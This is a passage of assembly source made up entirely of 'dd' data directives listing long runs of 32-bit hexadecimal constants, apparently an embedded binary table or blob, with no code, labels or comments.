dd 0DB66AA62h, 0F4E5E85Dh, 0CA32755Dh, 5E1BB746h, 8B2643FCh
dd 9F3CC2E1h, 8FAB5C67h, 0FC819E4Ch, 0A113B21Ah, 0B2B3D25Ah
dd 46E9621Ah, 932A0E05h, 21FF9BB8h, 0DF973AAFh, 4503C465h
dd 0BC81528Eh, 6EDD0F19h, 0EA299D47h, 422A344Ah, 2FBCDBDFh
dd 379D0F47h, 1BCFD09Eh, 0DBF968Eh, 0F82BB40h, 0C136C2F7h
dd 66C08132h, 26FE11D3h, 6EDD8729h, 0BD0F1F89h, 3BAF2F65h
dd 0D5F86283h, 51B349FBh, 0D66E08E7h, 0D21E44A9h, 9EE191B1h
dd 0E6FF62A7h, 1434D79Eh, 32C0D666h, 1794D24Fh, 68653493h
dd 0AE4A1FDDh, 0CDF4B7FBh, 29674FE6h, 0B4754722h, 550E84CBh
dd 0A6E2F7D7h, 2EF75831h, 7EF09C52h, 0D5B0F479h, 0FA37C915h
dd 2D343E4Dh, 0E6C76375h, 77D2453Eh, 0D5B7CC45h, 0B9B25AFh
dd 31185A72h, 30A664ADh, 22AF68AEh, 0C20AA9E6h, 0E6234987h
dd 402E0DF8h, 8D3ACD42h, 4DA800B1h, 14DBF55Eh, 0F2EECD82h
dd 6A61B9A7h, 6FDFA0A0h, 0A45C5F55h, 7FA041EBh, 4EFB0501h
dd 322CA699h, 0BC169529h, 5B9A44C9h, 1B178987h, 0C24975E0h
dd 8EE06791h, 687D500h, 2D5C2E49h, 7A56862Dh, 7AD95B1Ch
dd 0E2091F2Ch, 0E3DBEC2Fh, 8D2CBE4Bh, 4AD9DB62h, 3E4FB84Bh
dd 6163E305h, 0B1601615h, 1F3666E3h, 3D0FBBE8h, 0C03790C6h
dd 0D5EA71A7h, 29FA0C5Ah, 3C5ACD11h, 1C2F09EAh, 8AA99072h
dd 98B97867h, 0DF290976h, 67A2CF7Dh, 28CA413Bh, 9D36636Fh
dd 0E5D5A2E9h, 61AD11E5h, 316038F5h, 5987AFD5h, 0E5F509BCh
dd 598BC9AAh, 2092244Eh, 0DB10F211h, 0C47C6120h, 0B88375B9h
dd 47DEAEE5h, 33CE756Ah, 0E837DB81h, 583DA68Bh, 512C8062h
dd 69DD457Bh, 9DC7355Ah, 98AE4727h, 6C9875EBh, 0AF15AC3Bh
dd 859EAED0h, 2C5A93A5h, 0F85D61B6h, 5261752Ch, 0D0EBD197h
dd 0CC423308h, 2F01B14Eh, 49FBD48Ch, 1CFFC4A4h, 49516BA9h
dd 0FF908932h, 0A73D0862h, 5F2B5A2Fh, 9C53B673h, 5A39E462h
dd 0C9BF2E5Ch, 75D237E5h, 7E997A80h, 323B1B66h, 0B80BC762h
dd 0D0FCAD12h, 517CEE77h, 0CC493BAFh, 988FCC35h, 0A3693719h
dd 0A96ACA6Ch, 6E849D69h, 0B5386ABCh, 85E4F67Ch, 0E3517BABh
dd 45B0F97Ch, 0F45F12FFh, 8BFEEC54h, 2FCE9314h, 0C3179EB6h
dd 4A710E8Dh, 0D792F3F4h, 7E22E573h, 3C224DFCh, 0D5A63499h
dd 17C94FD6h, 39CB6D25h, 0CAEBD0Ch, 57AFEBh, 8A5F0E1Eh
dd 2263A055h, 74AFCD6Fh, 9CF254E0h, 0AC30DA9Eh, 0F7EA2CA7h
dd 499C2720h, 0C949F5ECh, 177A8664h, 0C2628EE0h, 0D108748Dh
dd 0CFF6E387h, 232D881h, 0CE7A95E2h, 1559D412h, 0F458D2EDh
dd 78FE49E5h, 4C34FE2Dh, 0F9732F91h, 0F50CDD75h, 24DC8D56h
dd 0BDD7EDCCh, 0E1F423BBh, 0E3A2DC8Dh, 0ADB0EFA0h, 7B0EFA7Dh
dd 0B7266A93h, 0F8FABB96h, 1BF9FB3Eh, 0ED0DD42Dh, 37C13F69h
dd 3FCF1D57h, 6CE8F6h, 527AF22Ah, 456001A1h, 0F36A86E7h
dd 0E4819C0Dh, 43B0A34Ch, 8E2C14F1h, 9553535Bh, 925B088h
dd 3CF273C9h, 0FC4EDB48h, 9DB69067h, 63424148h, 72098BFCh
dd 46C5BAECh, 8554CF9Fh, 0CDBF152Ch, 12FB4693h, 0DF9652F3h
dd 32927ACh, 9504B9C4h, 8EEDAA5Fh, 2F65D58Fh, 0BB9473E4h
dd 0E341255Ah, 0D70C2148h, 4CD9D236h, 5EACE73Bh, 0E0B64D47h
dd 0E6526DCCh, 0CA2FA707h, 0AC45E965h, 0C0C914E7h, 37E4E722h
dd 0F96FCB0Dh, 0FE1BF32Fh, 2238FC9Bh, 3A487E0Fh, 0BE5DF0FFh
dd 0ABDFCA0Eh, 593B8B33h, 7FD140EEh, 0A2B0F557h, 63BEFFA6h
dd 3FCE9586h, 4B1DB4A7h, 0B78D8C5Fh, 7C51830Fh, 2C6CC14Eh
dd 7522F9F8h, 7FFA5528h, 0FFE7352Ah, 0FFF2AA54h, 39DE6A54h
dd 52C4AEA5h, 7787F117h, 61C29C2Eh, 9FFF5C70h, 7FF9DCE0h
dd 0FF9CA01Dh, 3E4DF9A2h, 74DADCC8h, 403EFD1Fh, 0D7F0CBBFh
dd 46A01FAFh, 4E0ED612h, 71FC2F58h, 471F79D7h, 0C4EDCBFEh
dd 0C9CFF60Ch, 20678070h, 9E7AD677h, 6E59760Bh, 649489D7h
dd 6E720BF4h, 0C3A865D1h, 0BFB7D52Ah, 0FEDA5E96h, 0F1B0FFCEh
dd 5C361F62h, 172BC3ECh, 62FEB0FBh, 0D8BA5E1Fh, 0F62E1787h
dd 7D8BB9E1h, 1F62F678h, 0C3EF3E9Eh, 54FDDD39h, 0C78C17EFh
dd 0C7F3DEBAh, 7E2EFCE3h
dd 0EB843D02h, 0C9CFFFB2h, 0D942F6B6h, 0D0D3C9CEh, 9F130FCBh
dd 3FFEA797h, 0CA1C13C8h, 0D5B7DE73h, 0D56DF39Fh, 0F4937CE7h
dd 4FA54D6Fh, 9DE8CAA2h, 474ACA8Eh, 9A2FA5A5h, 0BA694F23h
dd 91992F6Fh, 610AF814h, 0A4E5F437h, 277D44B6h, 6334B70Ch
dd 0EB4D290Eh, 298D9D82h, 5D1A30F3h, 3874DE1Dh, 0CC72AD66h
dd 2AB31C92h, 0EEB3A993h, 0ACC71784h, 0A5598E39h, 9159FAADh
dd 43E63FD5h, 0D22D6ED7h, 0B694AE35h, 6FD7BE54h, 5723ADF0h
dd 28316BB7h, 13647A72h, 0B476AA66h, 0E8717A9Ch, 0DEC319DEh
dd 1FD7090Dh, 0F1BAE125h, 31D18A0Ch, 0D1FF9D1Eh, 71BAE121h
dd 50075280h, 45CD0AC8h, 7C1F6207h, 432868C5h, 0B6D52757h
dd 0BC947D0h, 0F99CEE6Ch, 7C14F83Dh, 0E3D19F13h, 20F8ABC1h
dd 5E98D15Dh, 28CA4A3Ah, 8A8496CDh, 615235B8h, 17D47974h
dd 319782BFh, 3ECB318h, 0EC774B2Eh, 28DC20E7h, 8EE6AD4Ah
dd 0E5D19D9Bh, 0F04B46D6h, 1994A674h, 99205D3Ch, 0A72E20E1h
dd 950C0B07h, 1D7A83F1h, 21FCB5D2h, 1FC51A53h, 9171E40Ah
dd 0E1F751B0h, 0A2CD184Ch, 75DBE29Ah, 99D187h, 3B54F59Fh
dd 624B554Fh, 9FD1B164h, 0B745D6E9h, 496802E1h, 8D707A41h
dd 50B2D96h, 2B90DA15h, 70BC7268h, 3A230EE6h, 0D017207Ch
dd 9077C7EAh, 8FEEB29Bh, 984FB049h, 48BBEAD8h, 36C9BB6h
dd 0DABF31D4h, 0F67143A1h, 98DF1CACh, 706752EEh, 0D64AA59h
dd 597AF97Eh, 0CE371B98h, 57FF1F9Eh, 7ED8B32h, 4A0E46BFh
dd 439B5613h, 4B81ED67h, 0D5BE5F82h, 0C3586616h, 16C1A31Ah
dd 0C2386946h, 0E20FD1E8h, 3C6638E3h, 377AA072h, 0BEE9E460h
dd 284D3807h, 63E71B26h, 0BDB1272Fh, 8EA30EF5h, 0A7B3B558h
dd 8613B97Ah, 94B240A3h, 0A54C954Eh, 0C1D1E533h, 27E6192Fh
dd 38715851h, 0F73CB4F9h, 0AEDFF6DCh, 0B7A6DD7Bh, 0A2F1DBAEh
dd 0CEC1593Dh, 441BC9DBh, 0D9171AF5h, 81A3395Fh, 8113CEB9h
dd 94667AD9h, 9DBC6E58h, 0DAA74050h, 52EA45A8h, 0C41EF147h
dd 82D445C0h, 0C0E8678h, 10FE99FDh, 5637ADE1h, 8DD2C4A7h
dd 674BDF30h, 0BD28CEADh, 529451EBh, 0B57D7E96h, 35E1F4A9h
dd 834E969Fh, 3E6B25BFh, 0B6DEBD2Eh, 7FC865AEh, 0A9D79F38h
dd 46574D59h, 9917F634h, 0FD25DCD5h, 419CD0C0h, 5053761Ch
dd 0CB7D6B6Dh, 2790A912h, 0B2D1587Bh, 0B09DB25Eh, 1D4EBFA0h
dd 7BB6AB5Bh, 0D6F171BDh, 0A3DD8C56h, 0ED27F0FBh, 3E93A410h
dd 0ED291557h, 37C6B8A0h, 7FB3F87h, 43EE5CE0h, 9E62BE38h
dd 0D2792BE2h, 7E4A768h, 0A9ECD37Ah, 0A76813C0h, 9A6B018h
dd 48A2FA28h, 9A30B606h, 0F5DEEBF5h, 3E06D1Fh, 4B216D4Ah
dd 0CBEAFD7Dh, 0A00B03C5h, 4EF739B8h, 8DD73CFEh, 0F5160BB1h
dd 0E971BB72h, 823F8C26h, 0B6A89557h, 7356E850h, 79AB932Ah
dd 0F9C9A5C5h, 0E25566ABh, 154E4370h, 3DEE68A9h, 0BD6EF850h
dd 0D455A877h, 1E176409h, 0D4754C1Eh, 0FD48D4A5h, 0A7C16E53h
dd 6139245Ch, 46A4B538h, 0D7DC7327h, 3D37C24Bh, 0EC9040A0h
dd 18AC6B83h, 1A1BDA4Bh, 2B83672Ch, 68548CAFh, 115D3551h
dd 687FE4ADh, 43359E1Bh, 0AD43CBC7h, 0B5955AE5h, 87C8FE5Ah
dd 10622265h, 736D688Dh, 3C2F068Dh, 2B27F203h, 6C4369C8h
dd 3830594Eh, 5A42C597h, 8B6FF7F1h, 0E20D0976h, 696AA886h
dd 0DFA75F10h, 0F46FC1BFh, 0E20D0993h, 20D62C1Bh, 37B4A46Eh
dd 0FD1377E9h, 0C1B8C66Eh, 0BD226674h, 411578BAh, 0D3B7D048h
dd 9267BF4h, 18422CE1h, 0E8CFB4A0h, 0B57E9077h, 0C21C8424h
dd 2D9E85B2h, 0FB01424h, 83983BF9h, 20D081F1h, 72BDF236h
dd 8AFB73AFh, 8D81221Bh, 0ED9A68A1h, 639AD5AFh, 8CF7E367h
dd 5142638Dh, 4B03F453h, 74907BD6h, 71941E86h, 0E8830591h
dd 0F2F77BD4h, 0C4CCB64Eh, 0CB985956h, 333B6CAh, 63BFD83Bh
dd 0DF13DBE2h, 0BD877ACFh, 8C6D542Fh, 7AAE35ACh, 4587BFCEh
dd 0E8F8EAA3h, 0A8AC8CA1h, 13ED6310h, 0BBCF213Bh, 5508EF59h
dd 6375912Dh, 0A9B5AF3Ch, 7768EDECh, 6B03F44Eh, 3B42DBD6h
dd 0F6F6C1DBh, 7BB89CEFh, 7BD66762h, 70B0AF6Ch, 0CCE3644Bh
dd 0A0ACBFDh, 47E89ED9h, 31D1E8B6h, 1D847B59h, 7DC4CCECh
dd 26267BFDh, 810ACEB2h, 0B72BC8F6h, 0CDFDB27Ch, 1E8C1B28h
dd 49FA34BDh, 3B20D666h, 2519C29h, 15B289D6h, 1ACE9CF2h
dd 22DB0214h, 0B27F19F5h, 6194FEADh, 30766A50h, 68F8C9FAh
dd 8F564657h, 1362CFD0h, 98EFEFDFh, 0AB5656F8h, 0D6447620h
dd 3D8BAE5Ah, 0CD91173Eh, 72B21E89h, 4B211964h, 0AA14EA0Dh
dd 97C20176h, 17B4C54h, 3F45B611h, 9E11C318h, 0BD670848h
dd 8CEC2C27h, 7C699BACh, 7633E2B2h, 28F99106h, 0DB0CEB33h
dd 64469C21h, 0E1095A16h, 0E04233h, 54F9DC20h, 66447EF0h
dd 0D1F32037h, 8C91E8F8h, 1EC2DDACh, 0B55A1276h, 0AC89E27Bh
dd 15DC8253h, 53FF4FA9h, 7AC61CFFh, 44E49FA2h, 0EC80ACBBh
dd 88631649h, 7DC4DB6Ch, 0BBD0AD59h, 0F84061E2h, 0D35BBE5h
dd 0F45B611h, 0BBD6198Dh, 0AAEF636Fh, 9B25B591h, 0A0A3DCF6h
dd 0D1A5E2F5h, 0D3ACCCEEh, 81500242h, 0CC88552Ch, 8E07BC20h
dd 0BB8DD645h, 0DF13CC7Ah, 4DA06446h, 641FA3E3h, 3E609B40h
dd 1A7898ECh, 0BD01D51Ah, 0F227B0BDh, 7E9FF4CAh, 0D8CFA9EFh
dd 3947E8EEh, 0C05623D1h, 0C1804615h, 89FEB008h, 0B39BA17Bh
dd 827DB14Eh, 0FF280BDCh, 0BF43F670h, 0D16D9443h, 0B28831AEh
dd 7400F22h, 9F9BC42Fh, 0A3138389h, 558D7780h, 0A7911310h
dd 0BCB2AEF3h, 8D6B3B72h, 8D1A5D76h, 3EF24267h, 7E030621h
dd 68159A16h, 7DB5AC89h, 6815D263h, 0F2FC7974h, 0D67321E8h
dd 20355669h, 4FB62624h, 0C2AD883Ch, 4BFF2821h, 3BA20B79h
dd 0A8C1FA2Eh, 4759B7ACh, 0DDE14EFFh, 5ED87B89h, 42C2339Ch
dd 705DF015h, 212FE2D7h, 47A363BEh, 66ED6746h, 0FE8EC2FDh
dd 0C4DF6CDDh, 14E30013h, 23792ACCh, 0B687FB20h, 0B20376BFh
dd 2AA27247h, 0A8B2FF4h, 0C02A7127h, 303A2350h, 0D716361Dh
dd 0CDDC6FD8h, 0E5EAA2DAh, 0ACE6A3D1h, 88467636h, 0A221BF61h
dd 0DF7A0042h, 9399CEE6h, 8B8E6886h, 68051A1Eh, 0FD12176Eh
dd 0C041D83Bh, 34C47DF4h, 1DD69801h, 4C44EA69h, 183F46C7h
dd 0EF0A988Dh, 3C04EFF6h, 3EECD0F7h, 6DC2C28h, 7D9FB6B8h
dd 0FAE028EFh, 13F44E41h, 0C057126Bh, 3CD1F74h, 3D3017B6h
dd 57438FF2h, 1E5EB761h, 0C48F32EDh, 17B1054h, 0B719DDCFh
dd 0E39E22B4h, 254747A2h, 809D64F1h, 42BE3EE9h, 0CF1EDAD6h
dd 622F67FEh, 687A363Ah, 0E298B9F4h, 0B8003EC4h, 97739C7Eh
dd 0CA1EB808h, 4D647E89h, 0EE980AE2h, 2CE298E5h, 0FBFF7730h
dd 97ABD8F7h, 0CF988F47h, 0E00B74C5h, 3E3E6899h, 8B8E7880h
dd 0E24A8D76h, 4C07DEC9h, 9DA622F7h, 0B4DEE980h, 310B7EEFh
dd 3A3D1B1Dh, 8F4C7CFAh, 0F38DA601h, 8CE08BAEh, 5B7689CDh
dd 768EA639h, 5542BBC7h, 5B786007h, 7B0D19C9h, 81FA3F33h
dd 0D8E86389h, 2C21D8E3h, 0BD352584h, 8F7BEFAEh, 0F1A3F7B3h
dd 0AC91E8DCh, 0BD85F7ACh, 4DFE3DECh, 5DA7D48Dh, 0BE67F5FDh
dd 0CC43DEC3h, 3B2ED1ECh, 8E53CC4Ch, 472DECDDh, 0B59EF794h
dd 0CFC3F8h, 0D171AEA7h, 427BD0E3h, 2C21D1CCh, 39984984h
dd 0CF4DA3E7h, 8FD11DB1h, 4C87A3F2h, 93003B59h, 1604C00Eh
dd 0D3C8B6C7h, 0EEFF7FE3h, 67615FFBh, 0A373C7A3h, 0CC02CEFFh
dd 0F977B0CFh, 0DAC8CEB7h
dd 0CAFDEE9Bh, 4EC7D1Bh, 9EC875D6h, 2BBD8275h, 0B3B63BF4h
dd 427D8EBDh, 0D3C8E1CDh, 9B8DB2C2h, 1FC4E137h, 828F8D17h
dd 0DA39895Eh, 681EAA85h, 0AFCD6C5Bh, 0DB6B0F26h, 0D1DDA16Eh
dd 46FF881h, 9AE677FAh, 0FE908FA6h, 668F46E5h, 48E7FA71h
dd 0C8E34E38h, 3C25BC6Eh, 0D62EF8EDh, 0B51DB58Fh, 8F43F567h
dd 0B20C749Eh, 42BD8E83h, 0CDA82ECDh, 34C1A13Ch, 1084B6A2h
dd 0B46C8AE8h, 0DAEC7495h, 0DAC5DECBh, 0DEB29A8Eh, 1B508365h
dd 0D9163C41h, 5FC3EE38h, 0A1723FECh, 5B5012DAh, 0AF6FF562h
dd 0FC36B73Ch, 0B19FA306h, 16D2F3D4h, 1D1E8896h, 65475517h
dd 0C25BD825h, 56477F60h, 8826239Bh, 0E6580FB0h, 2F6D7D5Ch
dd 0A2CBAA52h, 0A2B3D287h, 0FD6D9BD0h, 6468B23Bh, 0F98E6881h
dd 6CDD76B9h, 0D1A5FD6Ch, 0F5A1320Fh, 0FEF6847Bh, 703B599Dh
dd 6C617A24h, 0BAE267FFh, 8DDE7117h, 0C1B11E89h, 79C1EBBCh
dd 71D27597h, 95619042h, 0D9E4B97Eh, 4E000E9Fh, 0C7A37247h
dd 0D3A700B3h, 64F6EB30h, 50CE3A0Dh, 0AB5A326Bh, 338A5EEFh
dd 0D1E8B2EEh, 0CB8CE4F4h, 0A906384Ah, 0D93F6CF7h, 0F611FD66h
dd 0A3D1A5C3h, 0E01FBC99h, 0A5EC69EBh, 8113D0C3h, 0F41AE3DEh
dd 541B51C4h, 2587B59Dh, 0B237A1FAh, 5B7B60CEh, 0D4762FA0h
dd 0DEA187D4h, 355059E3h, 4F5F0BD6h, 400F7AF2h, 0F35D5FBDh
dd 0DEA177C2h, 3550E9A3h, 635F0BD6h, 47E85EBCh, 0A991D75Bh
dd 77AE1783h, 339BD417h, 238CD8DBh, 0C6AA0630h, 7BBDA17Ah
dd 503DBD78h, 0CB18D36Fh, 77B70BFCh, 83FBD41Bh, 0BFEEE35h
dd 3F617B7h, 99C9D15Bh, 0B81D226Fh, 33287A34h, 0DEB20749h
dd 5B839C5h, 9D8DE146h, 4BC3AE7Bh, 0F8D17DA6h, 0B607E898h
dd 8C6C7DACh, 841C21D0h, 0C6556C61h, 1104DA38h, 3F69A5B6h
dd 38B1EF7Eh, 907E88EBh, 0B2B3551Bh, 8B2CD83Ah, 0B424C0B0h
dd 2CD60AA2h, 0D09EF0ABh, 0B2B164B6h, 0B2CCA4C0h, 87C3CDDEh
dd 0FC1897A3h, 4E3066DBh, 56D5BF14h, 0FC5E526Eh, 72B6F1C7h
dd 0BF81E0CBh, 2B6AE53Dh, 73BCAEB7h, 0F40D5DBAh, 723A6371h
dd 3DC3C329h, 0B1774DFAh, 12D37ED1h, 371A37B6h, 6B6DFE85h
dd 0C03DD5FCh, 0B1E435B8h, 1E52F0BDh, 1324B6EDh, 0EF2ABFCAh
dd 774CC50Fh, 30701DC8h, 0DC8D68C3h, 0F86A0375h, 0B4BD2684h
dd 27C48D0Fh, 5A7F80BDh, 1ACFF97Dh, 1960EAEDh, 95086F7Ah
dd 7D649A51h, 0A5AAFF1Dh, 78860CA3h, 0B3581B9Ch, 0F67B3422h
dd 87D89EFAh, 0AB7CD08Eh, 0F3438FE8h, 6E5A7FC2h, 6E34EA0Fh
dd 0DED787D8h, 582DE696h, 515007F4h, 0ABEE2CD2h, 9B74A037h
dd 0D44A976Dh, 253C1625h, 0FAF4DFC9h, 8F255596h, 0EDA668C2h
dd 6BDEFAF5h, 9611DA36h, 0A28E2B8Fh, 0C99FDDE4h, 8771CE05h
dd 282A25FAh, 465AD5D9h, 6A191A37h, 0C5A6AB6Eh, 8F0BD32Fh
dd 0C2BCE17Eh, 0BAF6ABBAh, 0E3519363h, 2D69BBC9h, 13791854h
dd 7F9E488Dh, 7F79F6BEh, 3E429D19h, 9A5C0DD0h, 0E6876910h
dd 5C0A936Ch, 2A6C0FDCh, 32B73188h, 0CB0A7218h, 461A68Ah
dd 0D489C2D0h, 0DA80410Fh, 0A33A91BCh, 10FE05B9h, 0EB1B6720h
dd 75794791h, 0FE3D0C1Fh, 0D3B111C9h, 0A54D52EBh, 31623D46h
dd 801BC979h, 25791754h, 935AF03Dh, 0DAA0AED1h, 564561E4h
dd 2531C095h, 7A04A3D0h, 0CB424095h, 6A9BD79Dh, 83D6134Ah
dd 9F780437h, 6D91ECEFh, 2357839Ch, 5F4A3A4Eh, 0DBB41A11h
dd 8E0F7EAh, 7D21DE0Fh, 12F06EA3h, 0B1BF7834h, 8708D06Eh
dd 6797292Fh, 730B97E6h, 5376800h, 0DE10E151h, 0F49A5E24h
dd 0BB014267h, 1E7E16D1h, 3D9E572Dh, 0AB6E7D8Dh, 0FADC8A7Fh
dd 0EDE9508Ch, 0C153A7AEh, 9CD0E084h, 72058F78h, 5CD38658h
dd 9760A4FEh, 9C26F67h, 0D3DED1E2h, 73E16FBEh, 64E987E9h
dd 0A7BA8745h, 4A9BFD8Eh, 0DDD822FFh, 0DD7C3B6Ch, 0B71E14FCh
dd 4196EED4h, 9B226D4Dh, 0B3E9F41Bh, 58395E0Fh, 0D1C4B12Ah
dd 52FC7772h, 6559E23Dh, 1C661EAFh, 5A39B983h, 7D088F16h
dd 456AF1E6h, 7A09F7EBh, 73DF5118h, 4542C355h, 0FCFE11E9h
dd 0F89F3A06h, 5F81BF05h, 0CAEB95B6h, 62147094h, 0A3D9003Dh
dd 2882BD15h, 0FB8A7EBFh, 7AE84D18h, 496A1815h, 0D656370Fh
dd 0E3C4EB8Eh, 65676F95h, 17E49C4Fh, 26333126h, 50C6511Ah
dd 4B86B17h, 338F773Ah, 3389C2B6h, 9827F7D4h, 54D15ADCh
dd 5B97BA0Ch, 65818BDEh, 81720C07h, 4EEA4CEFh, 0D013BE25h
dd 5617373Ah, 0C61F8B87h, 57E34D3Bh, 0C93845E7h, 87AFB0B8h
dd 0DD4B9D87h, 40BE24FDh, 2DFB9789h, 632057BFh, 8C61C0A3h
dd 968A89A3h, 4D0F355Eh, 0E114DDD0h, 0B2F46FD6h, 7290C22h
dd 0E7BDFB53h, 0FD9F768Dh, 0C34C481Ah, 6D172C3h, 0D45E8E1Ah
dd 0C6D9A9C5h, 1E6E308Ah, 0EE97C779h, 6A300BF4h, 287DB111h
dd 287E5F76h, 0E4AC6DB0h, 643C69E4h, 2179FB5Fh, 0A0278AFBh
dd 0A1173992h, 0C9057A8h, 0B75FFE46h, 580EC77Ah, 8FF3CFD8h
dd 81578FB2h, 0DC38E6B7h, 63F4DEAh, 0EFD6E492h, 1A8228A4h
dd 0E80DBAE6h, 3255B38Eh, 1C794333h, 4B3534BDh, 842C30FBh
dd 0C3B5C579h, 0E222ADAEh, 87DB9716h, 0B8D6885Fh, 0C5C823DDh
dd 538B7485h, 1111B952h, 9C3E896Bh, 2136A93Bh, 0A71D7B3Dh
dd 3D7A1C35h, 69B65EAh, 9E703D35h, 7472A747h, 0E0B5F74Ah
dd 14E75484h, 0A6D84327h, 8A5361E4h, 2E7FCFB9h, 35F8330Eh
dd 9B9117F4h, 938AC240h, 0A8426611h, 67110B6Ch, 19A8B514h
dd 639A6A6Fh, 9D05EEABh, 50F00BEBh, 3C875CDDh, 0F74BE05Bh
dd 4F0768DBh, 0AB65CFF2h, 0B1D2AB98h, 28B64EECh, 93BAAD9Fh
dd 658E4A55h, 8E7D8E79h, 6309133h, 0E2C81178h, 71D7B1C3h
dd 22B2671Ah, 0E0DC3026h, 0F4B05A80h, 7067703Fh, 61E83EF6h
dd 0AACEA78Ch, 0EB3EAC8h, 8DA36E6h, 2DFF971Ah, 61C07562h
dd 36279C7h, 28AF2EDEh, 0DB0B2384h, 71A3B133h, 0B6044D4h
dd 6C2DC7A3h, 772B046Dh, 90E2869Ch, 606AA4B5h, 8D9601F9h
dd 0ADE1002Ah, 0DF7E0CD2h, 46C154A9h, 595B7CEFh, 0EAE2B038h
dd 0BC5051C6h, 0C8C7627Dh, 2CED50C2h, 6400D567h, 497EFE5Ch
dd 90433A19h, 0FDB9BFBEh, 0B352531Ah, 5796D43Eh, 4C3BB5A7h
dd 0E09FD5F6h, 529BF45Ah, 2349245Ah, 16740624h, 1123B157h
dd 84E16341h, 0E183E9DAh, 0A0D83AB3h, 0FC8AC4F3h, 66D436FEh
dd 4DF02D91h, 6E1F0CDDh, 3E3380CAh, 5E9E757Ch, 8C5C987Eh
dd 884903C8h, 753B3743h, 0F4DC4CC7h, 5077DF52h, 865FDB85h
dd 86C90F3Bh, 0AED6D1D2h, 0B0F3B52Fh, 0CE4C9C32h, 0B5381BD8h
dd 372E09A4h, 0CF6F9D7h, 50F67EDBh, 0CE6F9846h, 664A5E18h
dd 189916EAh, 4908BDFBh, 8CF8942Eh, 4E69388Bh, 0F5078BE2h
dd 2E7FF9DBh, 4A097ADDh, 69611295h, 7E892246h, 8EBEDD58h
dd 6716618Ch, 687ADD14h, 0D856A4CDh, 6FF3EA0Dh, 0D46F31E8h
dd 53A8925Fh, 0B57D1CBEh, 0BF21BA2h, 0D7A026ACh, 0B59164D5h
dd 0A481F719h, 56D94389h, 0F863C09Ah, 14FE408Eh, 13525126h
dd 1179A026h, 0CA2E869Bh, 46527DC2h, 8C5F8CCCh, 5A15CCC3h
dd 644BEA3Dh, 0B39F051Ch, 0CEF6A3Ch, 0CF1B3AF2h, 0D149C200h
dd 9C37738Fh, 91FA0B42h, 544B7972h, 19750ECDh, 819D49CFh
dd 0C2761E49h, 39BF516Fh, 6511EB83h, 6B0C1DE3h, 0D22D4D27h
dd 426F9A20h, 96651F25h, 99FF8309h, 274947E1h, 82763323h
dd 50CB1822h, 16A5DCAEh, 2FB520CEh, 52EE92BBh, 8C67841Fh
dd 467B87EFh, 89BDE78Ch
dd 4C2A478Ch, 28C516E1h, 32CD570Bh, 76B006A1h, 61C87AB3h
dd 0FDD47834h, 93B8DC0Eh, 62225D91h, 84523A0Fh, 26BDB44Eh
dd 0E0BA55F6h, 0F6FD24F7h, 0B6B8E8F0h, 0BE2616D7h, 0B594B3BDh
dd 67CD58F3h, 5C1ADFEEh, 1D083460h, 3AF0690h, 9442DBC2h
dd 3564B707h, 7FB3BA96h, 0BE5D5186h, 66B01434h, 0EC097F7Dh
dd 0BF7E57E9h, 9F9A123Ah, 55114980h, 0F78F58D3h, 8157BEFEh
dd 86948C21h, 0ECF39F31h, 6DACD18Ah, 23F54BAEh, 0C4F4201Fh
dd 4672813Fh, 4D781174h, 8FC6DED2h, 56C75F62h, 4CCED70Ch
dd 1A7F5361h, 16C66F6Ah, 1C9DA20Bh, 0D35DDDC9h, 2DC9818Ah
dd 0FA7AB7D3h, 0C0B9055Ah, 756B1F7Fh, 0DFDC5CECh, 0EF0D1837h
dd 0D6B0C794h, 49004F4Dh, 0BE9BEFE8h, 6D35E15h, 0A31B8BA3h
dd 0DFE192BAh, 24314861h, 0A77F7541h, 0AE463BF9h, 9D05FAAEh
dd 16E9A791h, 0DBF0A978h, 460F5E79h, 0DC10A372h, 750324DCh
dd 0F4B4D227h, 0BABF06B0h, 23D83EC3h, 7B46C75Eh, 9D93B1Ch
dd 0FC1F7F6Fh, 0FF5A4049h, 9BE94889h, 0A4EC0BD8h, 0A2B02297h
dd 0A53CDE30h, 0C7BC6E67h, 35C35EABh, 0C56FEE1h, 7FCD960Dh
dd 0D4C376C3h, 35143B78h, 5A6F3B95h, 0AC250E6Eh, 2AB14FCBh
dd 9743E92Bh, 5BA42AB0h, 0D2AC8E6h, 39E0739Fh, 83F48A7Dh
dd 25A6E501h, 0D55A6B8Bh, 0A004BC42h, 6559CCE8h, 0E40B5EF7h
dd 68EB54D0h, 0BB3F3569h, 6286D35Bh, 3ACA871Ah, 2185C81h
dd 0B27922DFh, 0AD70FCE7h, 0F2B522C3h, 70078A48h, 78F0F143h
dd 0E9D8A9ADh, 5D14A49Dh, 0A4C08CDDh, 0BE837E51h, 97D0E907h
dd 84640E2Ch, 8A23D126h, 6501BF3Eh, 56BE3304h, 0FD91BB03h
dd 0BF2261C2h, 0BE69FCE3h, 0AF53481Eh, 861A34C9h, 72C32A31h
dd 1D5052C0h, 63C89C16h, 79E2326Fh, 0EA53D202h, 0C267B86Bh
dd 3C930271h, 5DEF8672h, 0FE29DD8h, 0EE12D931h, 0D09DFD5Bh
dd 3EA3C660h, 6987FBCh, 6F70CAE5h, 0F2695EA8h, 0D5E377Fh
dd 34D8A169h, 0EBEFAE5Dh, 92DE621Dh, 0D36A4BBh, 0D4218D9Dh
dd 0F29C96D0h, 1A19E6D4h, 48E60465h, 8062D9FDh, 3172FEA4h
dd 7BC098B9h, 78C6F5C6h, 630C2FB6h, 9F823EAEh, 390CB7A6h
dd 5318B43Ch, 8499C9F8h, 38BA375Eh, 0DB7D3D43h, 94FE02DAh
dd 0A5D1FB61h, 0AF882A3Ch, 18523F67h, 4C9B62A4h, 576C31F3h
dd 9888F9E2h, 7FA9E378h, 0DAEE8A03h, 80E5D5E7h, 75598D18h
dd 81384375h, 3A56FEC4h, 5A4E9C60h, 0FF1FA3D0h, 8C687416h
dd 43037D1Fh, 0C7364B4Dh, 5F93FCAh, 200AFA97h, 5F388AC7h
dd 0E0E8A169h, 88C86D75h, 6D9DBB69h, 0D232E2Bh, 34C97578h
dd 6723B97Eh, 59D3EFFAh, 82FC2EC8h, 0FF5B3ADDh, 56E4DD26h
dd 0D92371FFh, 0E3CDA25Eh, 0EAC3FF68h, 87E81A8Ah, 0C4B6450Ah
dd 96C3A00Bh, 0A69A90D6h, 8DCBFD55h, 7E2D84E4h, 0F60AF7C4h
dd 52E61556h, 3AA4D417h, 0EAFF6F52h, 649FC454h, 0A1AC4EBFh
dd 4CD44C3Bh, 1630DF20h, 0A88122E4h, 0B31DD6B5h, 37069F43h
dd 90BDA216h, 9BCE9A41h, 0ACA9309h, 4EEA7DDh, 90B613CEh
